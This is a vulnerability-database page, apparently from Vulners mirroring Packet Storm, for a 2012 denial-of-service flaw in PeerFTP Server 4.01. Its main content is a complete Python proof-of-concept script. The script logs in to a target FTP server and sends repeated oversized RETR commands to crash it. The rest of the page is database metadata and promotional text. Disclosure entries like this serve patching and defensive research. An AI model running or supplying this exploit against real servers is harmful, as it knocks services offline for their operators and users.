Lucene search
+L

PeerFTP Server 4.01 Denial Of Service

🗓️ 20 Mar 2012 00:00:00Reported by localh0tType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 20 Views

PeerFTP Server 4.01 Denial Of Service exploi

Code
`#!/usr/bin/python  
# PeerFTP Server <=v4.01 Remote Crash PoC  
# written by localh0t  
# Date: 19/03/12  
# Contact: [email protected]  
# Follow: @mattdch  
# www.localh0t.com.ar  
from socket import *  
import sys, struct, os  
if (len(sys.argv) < 3):  
print "\nPeerFTP Server <=v4.01 Remote Crash PoC"  
print "\n Usage: %s <host> <port> \n" %(sys.argv[0])  
sys.exit()  
def checkDefaultUser(username,password):  
if username == '':  
username = "anonymous"  
if password == '':  
password = "[email protected]"  
else:  
pass  
return username,password  
def createUser():  
username = raw_input("[!] Insert username (default: anonymous)> ")  
password = raw_input("[!] Insert password (default: [email protected])> ")  
return checkDefaultUser(username,password)  
(username,password) = createUser()  
print "\n[!] Connecting to %s ..." %(sys.argv[1])  
# connect to host  
sock = socket(AF_INET,SOCK_STREAM)  
sock.connect((sys.argv[1],int(sys.argv[2])))  
sock.recv(1024)  
print "[!] USERNAME: " + username  
sock.send("USER " + username + "\r\n")  
sock.recv(1024)  
print "[!] PASSWORD: " + password  
sock.send("PASS " + password + "\r\n")  
sock.recv(1024)  
print "[!] Sending payload..."  
payload = "RETR " + ("X" * 1000) + "\r\n"  
for i in range (1, 5):  
sock.send(payload)  
sock.close()  
print "[!] Exploit succeed. Target should crashed."  
sys.exit()  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Mar 2012 00:00Current
7.4High risk
Vulners AI Score7.4
20